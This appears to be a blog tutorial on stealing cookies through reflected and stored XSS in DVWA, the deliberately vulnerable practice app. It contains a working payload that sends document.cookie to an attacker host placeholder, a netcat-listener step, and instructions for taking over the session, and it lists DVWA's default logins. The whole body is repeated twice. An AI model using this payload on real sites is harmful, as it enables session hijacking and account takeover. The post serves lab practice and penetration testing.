Cookie Stealing with XSS
I've been playing around with reflected and stored XSS cookie-stealing payloads that work with DVWA in low security mode, and here is the one that worked best for me:
<script>var+i=new+Image;+i.src="http://x.x.x.x/doesntexist.php"%2bdocument.cookie;</script>
I'm not a Javascript guru, but let me break down the payload:
<script>
Begin Javascript block
var+i
We are using var to set a variable. The variable will be i. The + is interpreted by the browser as a space.
=new+Image
The variable i is being set to be an image object.
;
The semicolon separates two statements on the same line
+i.src=
Since i is an image object, we are about to tell the browser the source location of that image.
"http://x.x.x.x/doesntexist.php"
The source of the image will be a URL.
%2b
This is a + which has been encoded so that the browser won't interpret it as a URL space. Instead, it is being interpreted as a Javascript concatenation so we can append the cookie to the URL.
document.cookie;
This actually appends the value of the cookie we are stealing to the HTTP request which is going to the malicious web server.
</script>
End Javascript block
You can easily use netcat to listen for the cookie, on the machine with the x.x.x.x IP address. If the victim clicks the crafted URL (reflected XSS), or navigates to the stored XSS, the payload will be executed, and their login cookie will be sent to netcat. No actual PHP server is required. You can then use their cookie to login with their account.
In case you didn't know, there are a number of accounts setup by default in DVWA, each with a password of password. This allows you to use one account to take over another account, for penetration testing practice:
admin
gordonb
1337
pablo
smithy
If you can deliver the stored XSS to the victim website, any victim who browses to that portion of the website will have their login cookie stolen. Or, if you use a reflected XSS URL that is clicked by the victim who is currently logged into the application (login not always a requirement for all targets), their cookie will be stolen. You can then use a cookie management browser extension, etc. to take over the victim's account.
This is very doable within DVWA so give it a whirl. This kind of practice can definitely pay off for penetration testing. Reflected XSS is one thing, but think about the ramifications of stored XSS. It can be a pretty devastating attack. If the target website is infected with a payload which is stored somewhere all logged in users can navigate to, it could be executed on hundreds or even thousands of accounts! So find and report those nasty XSS bugs!
<script>var+i=new+Image;+i.src="http://x.x.x.x/doesntexist.php"%2bdocument.cookie;</script>
I'm not a Javascript guru, but let me break down the payload:
<script>
Begin Javascript block
var+i
We are using var to set a variable. The variable will be i. The + is interpreted by the browser as a space.
=new+Image
The variable i is being set to be an image object.
;
The semicolon separates two statements on the same line
+i.src=
Since i is an image object, we are about to tell the browser the source location of that image.
"http://x.x.x.x/doesntexist.php"
The source of the image will be a URL.
%2b
This is a + which has been encoded so that the browser won't interpret it as a URL space. Instead, it is being interpreted as a Javascript concatenation so we can append the cookie to the URL.
document.cookie;
This actually appends the value of the cookie we are stealing to the HTTP request which is going to the malicious web server.
</script>
End Javascript block
You can easily use netcat to listen for the cookie, on the machine with the x.x.x.x IP address. If the victim clicks the crafted URL (reflected XSS), or navigates to the stored XSS, the payload will be executed, and their login cookie will be sent to netcat. No actual PHP server is required. You can then use their cookie to login with their account.
In case you didn't know, there are a number of accounts setup by default in DVWA, each with a password of password. This allows you to use one account to take over another account, for penetration testing practice:
admin
gordonb
1337
pablo
smithy
If you can deliver the stored XSS to the victim website, any victim who browses to that portion of the website will have their login cookie stolen. Or, if you use a reflected XSS URL that is clicked by the victim who is currently logged into the application (login not always a requirement for all targets), their cookie will be stolen. You can then use a cookie management browser extension, etc. to take over the victim's account.
This is very doable within DVWA so give it a whirl. This kind of practice can definitely pay off for penetration testing. Reflected XSS is one thing, but think about the ramifications of stored XSS. It can be a pretty devastating attack. If the target website is infected with a payload which is stored somewhere all logged in users can navigate to, it could be executed on hundreds or even thousands of accounts! So find and report those nasty XSS bugs!
Comments
Post a Comment